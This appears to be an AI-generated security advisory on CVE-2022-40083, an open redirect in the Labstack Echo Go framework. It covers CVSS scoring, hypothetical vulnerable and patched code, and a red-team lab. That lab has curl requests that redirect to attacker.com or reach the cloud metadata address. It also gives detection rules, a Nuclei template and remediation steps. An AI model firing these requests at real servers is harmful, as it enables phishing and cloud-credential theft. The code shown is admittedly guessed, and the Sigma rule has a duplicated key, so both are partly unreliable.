CVE-2022-40083

Executive Summary

CVE-2022-40083 is a critical open redirect vulnerability in Labstack Echo v4.8.0, a popular Go web framework. The flaw resides in the Static Handler component, allowing an attacker to craft a URL that redirects a user to an arbitrary external domain. This open redirect can be chained with a Server-Side Request Forgery (SSRF) attack, enabling the attacker to make the server send requests to internal or external resources, potentially leading to data exfiltration, lateral movement, or further compromise. The vulnerability has a CVSS score of 9.6 (Critical) and a public proof-of-concept (PoC) is available via a Nuclei template. The vendor has released a patch in version 4.9.0.

Supply Chain & Package Security

This vulnerability affects the Go package github.com/labstack/echo. Organizations using this package in their Go modules should immediately update to version 4.9.0 or later. The package is widely used in cloud-native and microservice architectures, making this a high-priority supply chain risk. Dependency scanning tools should flag github.com/labstack/echo version 4.8.0 as vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Base Score: 9.6 (Critical)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must click a crafted link.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) - Potential for full data disclosure.
• Integrity (I): High (H) - Potential for data modification.
• Availability (A): High (H) - Potential for service disruption.

Threat Level: Critical. The combination of low attack complexity, no privileges required, and high impact makes this a severe threat. The public availability of a Nuclei template lowers the barrier to exploitation.

Deep Dive & Mechanics

The vulnerability is an open redirect in the Static Handler of Labstack Echo v4.8.0. The Static Handler is responsible for serving static files (e.g., CSS, JavaScript, images). The flaw occurs when the handler processes a URL with a double slash (//) followed by an external domain and a path traversal sequence (%2f..). The server incorrectly interprets this as a valid redirect, sending a 301 Moved Permanently response with a Location header pointing to the attacker-controlled domain.

Mechanism:

1. An attacker crafts a URL like https://vulnerable-server.com//attacker.com%2f...
2. The request reaches the Echo server's Static Handler.
3. The handler parses the URL and, due to improper validation, generates a redirect response.
4. The server responds with HTTP 301 and a Location header set to //attacker.com/...
5. The victim's browser follows the redirect to attacker.com, which can host a phishing page or malware.

SSRF Chaining: The open redirect can be leveraged for SSRF by making the server itself follow the redirect. For example, if the server makes an HTTP request to a URL that includes the crafted redirect, the server will be tricked into sending a request to an internal IP (e.g., http://169.254.169.254/ for cloud metadata). This can expose sensitive cloud credentials or internal service data.

Vulnerable vs. Patched Code

Vulnerable Code (v4.8.0): The Static Handler in echo.go or a related file likely processes the URL path without sanitizing double slashes or path traversal sequences. The exact vulnerable code is not publicly disclosed, but the behavior is observed in the redirect response.

// Hypothetical vulnerable code
func (h *StaticHandler) ServeHTTP(c echo.Context) error {
    path := c.Request().URL.Path
    // No validation for double slashes or path traversal
    if strings.HasPrefix(path, "//") {
        c.Redirect(http.StatusMovedPermanently, path)
        return nil
    }
    // ... serve static file
}

Patched Code (v4.9.0): The patch likely adds validation to reject or sanitize URLs containing double slashes or path traversal sequences in the redirect logic.

// Hypothetical patched code
func (h *StaticHandler) ServeHTTP(c echo.Context) error {
    path := c.Request().URL.Path
    // Validate and sanitize the path
    if strings.HasPrefix(path, "//") || strings.Contains(path, "..") {
        c.Error(http.StatusBadRequest, "Invalid path")
        return nil
    }
    // ... serve static file
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Environment: Docker container running Labstack Echo v4.8.0.
2. Dockerfile:

   FROM golang:1.19-alpine
   RUN go install github.com/labstack/echo/v4@v4.8.0
   COPY main.go .
   RUN go build -o server main.go
   EXPOSE 8080
   CMD ["./server"]
   

3. main.go:

   package main
   import (
       "github.com/labstack/echo/v4"
       "github.com/labstack/echo/v4/middleware"
   )
   func main() {
       e := echo.New()
       e.Use(middleware.Logger())
       e.Use(middleware.Recover())
       e.Static("/", "public")
       e.Logger.Fatal(e.Start(":8080"))
   }
   

4. Exploit Command:

   curl -v "http://localhost:8080//attacker.com%2f.."
   

   Expected response:

   HTTP/1.1 301 Moved Permanently
   Location: //attacker.com/..
   

SSRF Chaining: If the server has an internal endpoint that makes HTTP requests (e.g., a proxy or webhook), the attacker can use the redirect to force the server to request internal resources:

curl "http://localhost:8080//169.254.169.254%2f.."

This could redirect the server to http://169.254.169.254/latest/meta-data/ in cloud environments.

Blue Team

Detection:

• Monitor for HTTP requests with double slashes (//) followed by external domains and %2f encoding.
• Alert on HTTP 301 responses with Location headers containing // and ...
• Use the provided Nuclei template for scanning.

Hunting:

• Search web server logs for patterns like //[^/]+%2f...
• Correlate with outbound connections to suspicious domains immediately after a redirect.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with URI containing // followed by an external domain and %2f...
  • HTTP 301 responses with Location header starting with //.
• File IOCs:
  • Log entries containing // and %2f.. in the request path.
• Behavioral IOCs:
  • Unexpected outbound connections from the web server to external IPs/domains.
  • Server making requests to internal IPs (e.g., 169.254.169.254) after a redirect.

Detection Engineering

YARA Rule

rule CVE_2022_40083_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in HTTP logs for CVE-2022-40083"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-40083"
    strings:
        $redirect_pattern = /\/\/[a-zA-Z0-9.-]+%2f\.\./
    condition:
        $redirect_pattern
}

Sigma Rule

title: CVE-2022-40083 Open Redirect Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2022-40083
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '//'
        cs-uri-query|contains: '%2f..'
    condition: selection
falsepositives:
    - Legitimate use of double slashes in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-40083 Open Redirect Attempt"; flow:to_server; content:"//"; http_uri; content:"%2f.."; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2022-40083

info:
  name: Labstack Echo 4.8.0 - Open Redirect
  author: pdteam
  severity: critical
  description: |
    Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
  remediation: Download and install 4.9.0, which contains a patch for this issue.
  reference:
    - https://github.com/labstack/echo/issues/2259
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40083
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2022-40083
    cwe-id: CWE-601
    epss-score: 0.58765
    epss-percentile: 0.98229
    cpe: cpe:2.3:a:labstack:echo:4.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: labstack
    product: echo
  tags: cve,cve2022,redirect,labstack,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}//interactsh.com%2f.."

    matchers-condition: and
    matchers:
      - type: regex
        part: location
        regex:
          - '^\s*//interactsh.com/\.\.'

      - type: status
        status:
          - 301
# digest: 4a0a00473045022100fdb6e982eb30eaf47e9d1e11728fbdc630e4b05ee9b9bc5c7aeec5e0c23b4e0c02203988135c0047e75de4e8af31554d06cbe41d9338b20cf40115d55f733d4db0ce:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Echo: Update to version 4.9.0 or later.

   go get github.com/labstack/echo/v4@v4.9.0
   

2. Apply WAF Rules: Block requests containing // and %2f.. in the URI.
3. Restrict Outbound Traffic: Limit server egress to only necessary destinations to mitigate SSRF chaining.

Long-Term Mitigations:

• Implement input validation for all URL parameters.
• Use a reverse proxy (e.g., Nginx) to sanitize incoming requests before they reach the application.
• Regularly scan dependencies with tools like govulncheck or Snyk.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: B964932D9B72DF8A416B1A80] */}